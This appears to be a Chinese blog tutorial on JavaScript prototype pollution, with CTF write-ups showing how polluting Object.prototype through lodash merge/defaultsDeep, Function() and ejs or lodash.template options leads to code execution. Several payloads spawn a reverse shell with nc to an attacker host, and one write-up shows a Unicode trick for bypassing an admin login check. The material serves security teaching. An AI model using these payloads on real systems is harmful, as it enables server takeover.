JavaScript Prototype 污染攻击

Lodash库原型污染漏洞(CVE-2019-10744)

lodash是一款开源的JavaScript实用程序库。 lodash 4.17.12之前版本中存在安全漏洞。攻击者可借助‘defaultsDeep’函数利用该漏洞添加或修改Object.prototype的对象。

const merge=require('lodash').defaultsDeep;
const payload='{"constructor":{"prototype":{"a":true}}}';

function check(){
merge({},JSON.parse(payload));
const a1={}
if(a1.a===true){
console.log('sucess')
}    
}   
check();

or

const mergeFn = require('lodash').defaultsDeep;
const payload = '{"test": [{"constructor":{"prototype": {"a0": true}} }]}'

function check() {
    mergeFn({}, JSON.parse(payload));
    if (({})[`a0`] === true) {
        console.log(`Vulnerable to Prototype Pollution via ${payload}`);
    }
    }

check();

这样会给object填上a=true的属性,从而造成原型链污染。

prototype和_proto_分别是什么?

JavaScript中,我们如果要定义一个类,需要以定义“构造函数”的方式来定义:

function Foo() {
this.bar = 1
}

new Foo()

Foo函数的内容,就是Foo类的构造函数,而this.bar就是Foo类的一个属性。

为了简化编写JavaScript代码,ECMAScript 6后增加了class语法,但class其实只是一个语法糖。

一个类必然有一些方法,类似属性this.bar,我们也可以将方法定义在构造函数内部:

function Foo() {
    this.bar = 1
    this.show = function() {
        console.log(this.bar)
    }
}

(new Foo()).show()

这是js定义一个类的办法。类还有一个属性,prototype。类可以通过prototype访问它的原型。但Foo实例化出来的对象,是不能通过prototype访问原型的。一个Foo类实例化出来的foo对象,可以通过foo._proto_属性来访问Foo类的原型,也就是说:

foo.__proto__ == Foo.prototype

总的来说,prototype是类的属性,_proto_是实例化出来的对象的属性。

JavaScript原型链继承

所有类对象在实例化的时候将会拥有prototype中的属性和方法,这个特性被用来实现JavaScript中的继承机制。 比如:

function Father() {
    this.first_name = 'Donald'
    this.last_name = 'Trump'
}

function Son() {
    this.first_name = 'Melania'
}

Son.prototype = new Father()

let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)

总结一下,对于对象son,在调用son.last_name的时候,实际上JavaScript引擎会进行如下操作:

  • 在对象son中寻找last_name
  • 如果找不到,则在son._proto_中寻找last_name
  • 如果仍然找不到,则继续在son._proto_.__proto_中寻找lastname
  • 依次寻找,直到找到null结束。比如,Object.prototype的_proto_就是null

总结下就是

  • 每个构造函数(constructor)都有一个原型对象(prototype)
  • 对象的_proto_属性,指向类的原型对象prototype
  • JavaScript使用prototype链实现继承机制
  • 类的第一个原型对象是它的构造函数

原型链污染是什么

前面说到,foo.proto指向的是Foo类的prototype。那么,如果我们修改了foo.proto中的值,是不是就可以修改Foo类呢?

做个简单的实验: // foo是一个简单的JavaScript对象 let foo = {bar: 1}

// foo.bar 此时为1
console.log(foo.bar)

// 修改foo的原型(即Object)
foo.__proto__.bar = 2

// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)

// 此时再用Object创建一个空的zoo对象
let zoo = {}

// 查看zoo.bar
console.log(zoo.bar)

最后,虽然zoo是一个空对象{},但zoo.bar的结果居然是2

原因也显而易见:因为前面我们修改了foo的原型foo._proto_.bar = 2,而foo是一个Object类的实例,所以实际上是修改了Object这个类,给这个类增加了一个属性bar,值为2。

后来,我们又用Object类创建了一个zoo对象let zoo = {},zoo对象自然也有一个bar属性了。

那么,在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。

先看两个函数

const merge = (a, b) => {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}
const clone = (a) => {
  return merge({}, a);
}

这两个函数会有风险,因为存在能够控制数组(对象)的“键名”的操作。 在合并的过程中,存在赋值的操作a[attr] = b[attr],那么,这个key如果是_proto_,是不是就可以原型链污染呢?

实验:

let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

JSON解析的情况下,_proto_会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。

可见,新建的o3对象,也存在b属性,说明Object已经被污染:

hgame sekiro

题目源码 util/index.js

function game() {
    this.attacks = [
        {
            "method": "连续砍击",
            "attack": 1000,
            "additionalEffect": "sekiro.posture+=100",
            "solution": "连续格挡"
        },
        {
            "method": "普通攻击",
            "attack": 500,
            "additionalEffect": "sekiro.posture+=50",
            "solution": "格挡"
        },
        {
            "method": "下段攻击",
            "attack": 1000,
            "solution": "跳跃踩头"
        },
        {
            "method": "突刺攻击",
            "attack": 1000,
            "solution": "识破"
        },
        {
            "method": "巴之雷",
            "attack": 1000,
            "solution": "雷反"
        },
    ]
    this.getAttackInfo = function () {
        return this.attacks[Math.floor(Math.random() * this.attacks.length)]
    }
    this.dealWithAttacks = function (sekiro, solution) {
        if (sekiro.attackInfo.solution !== solution) {
            sekiro.health -= sekiro.attackInfo.attack
            if (sekiro.attackInfo.additionalEffect) {
                var fn = Function("sekiro", sekiro.attackInfo.additionalEffect + "\nreturn sekiro")
                sekiro = fn(sekiro)
            }
        }
        sekiro.posture = (sekiro.posture <= 500) ? sekiro.posture : 500
        sekiro.health = (sekiro.health > 0) ? sekiro.health : 0
        if (sekiro.posture == 500 || sekiro.health == 0) {
            sekiro.alive = false
        }
        return sekiro
    }
}
module.exports = game;

route/index.js

var express = require('express');
var router = express.Router();
var game = require('../utils/index');

const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}
const clone = (a) => {
  return merge({}, a);
}
var Game = new game();

router.get('/', function (req, res) {
  res.render('index');
});

router.post('/action', function (req, res) {
  if (!req.session.sekiro) {
    res.end("Session required.")
  }
  if (!req.session.sekiro.alive) {
    res.end("You dead.")
  }
  var body = JSON.parse(JSON.stringify(req.body));
  var copybody = clone(body)
  if (copybody.solution) {
    req.session.sekiro = Game.dealWithAttacks(req.session.sekiro, copybody.solution)
  }
  res.end("提交成功")
})

router.get('/attack', function (req, res) {
  if (!req.session.sekiro) {
    res.end("Session required.")
  }
  if (!req.session.sekiro.alive) {
    res.end("You dead.")
  }
  req.session.sekiro.attackInfo = Game.getAttackInfo()
  res.end(req.session.sekiro.attackInfo.method)
})

router.get('/info', function (req, res) {
  if (typeof(req.query.restart) != "undefined" || !req.session.sekiro) {
    req.session.sekiro = { "health": 3000, posture: 0, alive: true }
  }
  res.json(req.session.sekiro);
})

module.exports = router;

可以看到这里出现了merge和clone函数。跟进dealWithAttacks函数,发现存在函数内容的拼接,而且还调用了函数。所以只要污染Object的additionalEffect,即可达到getshell的目的。

if (sekiro.attackInfo.additionalEffect) {
                var fn = Function("sekiro", sekiro.attackInfo.additionalEffect + "\nreturn sekiro")
                sekiro = fn(sekiro)
            }

先访问/info,获得session.sekiro,再访问/attack获得attackInfo(attackInfo.additionalEffect要不存在) 这个时候我们再污染object的additionalEffect,然后访问action,当找不到sekiro.attackInfo.additionalEffect的时候,就会到它的原型object找,从而getshell.()

payload:{"solution":"1","__proto__":{"additionalEffect":"global.process.mainModule.constructor._load('child_process'). exec('nc vps-ip 8877 -e /bin/sh',function(){});"}}

题目docker环境:https://github.com/ctfer-Stao/ctf

lodash.template+lodash.merge getshell

Code-Breaking 2018 Thejs

const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')

const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use('/static', express.static('static'))
app.use(session({
    name: 'thejs.session',
    secret: randomize('aA0', 16),
    resave: false,
    saveUninitialized: false
}))
app.engine('ejs', function (filePath, options, callback) { // define the template engine
    fs.readFile(filePath, (err, content) => {
        if (err) return callback(new Error(err))
        let compiled = lodash.template(content)
        let rendered = compiled({...options})

        return callback(null, rendered)
    })
})
app.set('views', './views')
app.set('view engine', 'ejs')

app.all('/', (req, res) => {
    let data = req.session.data || {language: [], category: []}
    if (req.method == 'POST') {
        data = lodash.merge(data, req.body)
        req.session.data = data
    }

    res.render('index', {
        language: data.language, 
        category: data.category
    })
})

app.listen(3000, () => console.log(`Example app listening on port 3000!`))

lodash是为了弥补JavaScript原生函数功能不足而提供的一个辅助功能集,其中包含字符串、数组、对象等操作。这个Web应用中,使用了lodash提供的两个工具:

  • lodash.template 一个简单的模板引擎
  • lodash.merge 函数或对象的合并

很明显,这里的lodash.merge操作实际上就存在原型链污染漏洞,而在lodash.template的源码中,存在这样一段代码:

// Use a sourceURL for easier debugging.
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
// ...
var result = attempt(function() {
  return Function(importsKeys, sourceURL + 'return ' + source)
  .apply(undefined, importsValues);
});

options是一个对象,sourceURL取到了其options.sourceURL属性。这个属性原本是没有赋值的,默认取空字符串。

但因为原型链污染,我们可以给所有Object对象中都插入一个sourceURL属性。最后,这个sourceURL被拼接进new Function的第二个参数中,造成任意代码执行漏洞。

我将带有_proto_的Payload以json的形式发送给后端,因为express框架支持根据Content-Type来解析请求Body,这里给我们注入原型提供了很大方便:

payload:{"__proto__":{"sourceURL":"\u000aglobal.process.mainModule.constructor._load('child_process').exec('nc vps-ip 8888 -e /bin/sh',function(){});"}}

需要注意的是,此处的/u000a必不可少,这时json中的换行。并且一定要把Content-Type必须设置成application/json。否则proto会被处理成字符串。 接着重新访问网页,触发原型污染,拿到shell.

Express+lodash+ejs

Ez_Express

i春秋2020新春战“疫”网络安全公益赛的一道题目。在BUUCTF上进行复现。

www.zip下载到源码。

var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}
const clone = (a) => {
  return merge({}, a);
}
function safeKeyword(keyword) {
  if(keyword.match(/(admin)/is)) {
      return keyword
  }

  return undefined
}

router.get('/', function (req, res) {
  if(!req.session.user){
    res.redirect('/login');
  }
  res.outputFunctionName=undefined;
  res.render('index',data={'user':req.session.user.user});
});


router.get('/login', function (req, res) {
  res.render('login');
});



router.post('/login', function (req, res) {
  if(req.body.Submit=="register"){
   if(safeKeyword(req.body.userid)){
    res.end("<script>alert('forbid word');history.go(-1);</script>") 
   }
    req.session.user={
      'user':req.body.userid.toUpperCase(),
      'passwd': req.body.pwd,
      'isLogin':false
    }
    res.redirect('/'); 
  }
  else if(req.body.Submit=="login"){
    if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
    if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
      req.session.user.isLogin=true;
    }
    else{
      res.end("<script>alert('error passwd');history.go(-1);</script>")
    }

  }
  res.redirect('/'); ;
});
router.post('/action', function (req, res) {
  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 
  req.session.user.data = clone(req.body);
  res.end("<script>alert('success');history.go(-1);</script>");  
});
router.get('/info', function (req, res) {
  res.render('index',data={'user':res.outputFunctionName});
})
module.exports = router;

这里又出现了clone函数。而且使用的是ejs的模块渲染。ejs模块渲染存在可以被原型污染RCE的地方。

opts 对象 outputFunctionName 成员在 express 配置的时候并没有给他赋值,默认也是未定义,即 undefined,这样在 577 行时,if 判否,跳过

但是在我们有原型链污染的前提之下,我们可以控制基类的成员。这样我们给 Object 类创建一个成员 outputFunctionName,这样可以进入 if 语句,并将我们控制的成员 outputFunctionName 赋值为一串恶意代码,从而造成代码注入。在后面模版渲染的时候,注入的代码被执行,也就是这里存在一个代码注入的 RCE.

至于恶意代码构造就非常简单了。在不考虑后果的情况下,我们可以直接构造如下代码

a;global.process.mainModule.require('child_process').exec('');var b
放到代码里面看就是
prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
// After injection
prepended += ' var a;global.process.mainModule.require('child_process').exec('');var b

回到题目,首先用admın,绕过ADMIN登陆。js的toUpperCase()会把字符”ı”、”ſ” 经过处理后为 “I”、”S”。接着访问/action,抓包发送payload 因为buuctf的靶机不能访问外网。所以将flag读到public目录下,可以通过报错获得绝对路径。注意要改为POST请求,而且content_type要设成json

访问/info进行渲染。 然后访问/stao获得flag。

XNUCA 2019 HardJS

题目给了源码

 for(var i=0;i<raws.length ;i++){
            lodash.defaultsDeep(doms,JSON.parse( raws[i].dom ));

            var sql = "delete from `html` where id = ?";
            var result = await query(sql,raws[i].id);
        }

在/get中调用了defaultsDeep进行消息的合并。条件是数据库中的消息大于5条。跟进下/add

app.post("/add",auth,async function(req,res,next){

    if(req.body.type && req.body.content){

        var newContent = {}
        var userid = req.session.userid;

        newContent[req.body.type] = [ req.body.content ]

        console.log("newContent:",newContent);

        var sql = "insert into `html` (`userid`,`dom`) values (?,?) ";
        var result = await query(sql,[userid, JSON.stringify(newContent) ]);

        if(result.affectedRows > 0){
            res.json(newContent);
        }else{
            res.json({});
        }

这里主要意思是获取请求体的type和content参数,然后赋给newContent,大概就是newContent[type]=[content],然后调用JSON.stringify(newContent)并将结果插入数据库。 可以看到,插入数据库的是一个JSON字符串,和我们前面介绍的Lodash的payload很像。结合ets渲染模板的rce,构造出payload

{"type":"stao","content":{"constructor":{"prototype":{"outputFunctionName":"a;global.process.mainModule.require('child_process').exec('nc ip 8877 -e /bin/sh');var b"}}}}

先注册用户登陆。访问/add,post发送payload5次。

接着访问/get进行消息合并并且污染原型链,然后访问/进行渲染,执行命令。访问/static/stao.下载flag 因为buuctf靶机不能访问外网,所以是根据报错获得绝对路径,将环境变量读到一个文件中。

另外,题目的预期解是利用后端绕过登陆,前端进行xss,利用JQuery<=3.4.0中的$.extend原型污染漏洞。因本人能力有限,以后有机会再复现。

参考文章:

https://www.zhaoj.in/read-6462.html https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x01-prototypeproto https://www.jianshu.com/p/6e623e9debe3 https://github.com/NeSE-Team/OurChallenges/tree/master/XNUCA2019Qualifier/Web/hardjs https://www.anquanke.com/post/id/185377#h3-2

留下评论

粤ICP备20010650号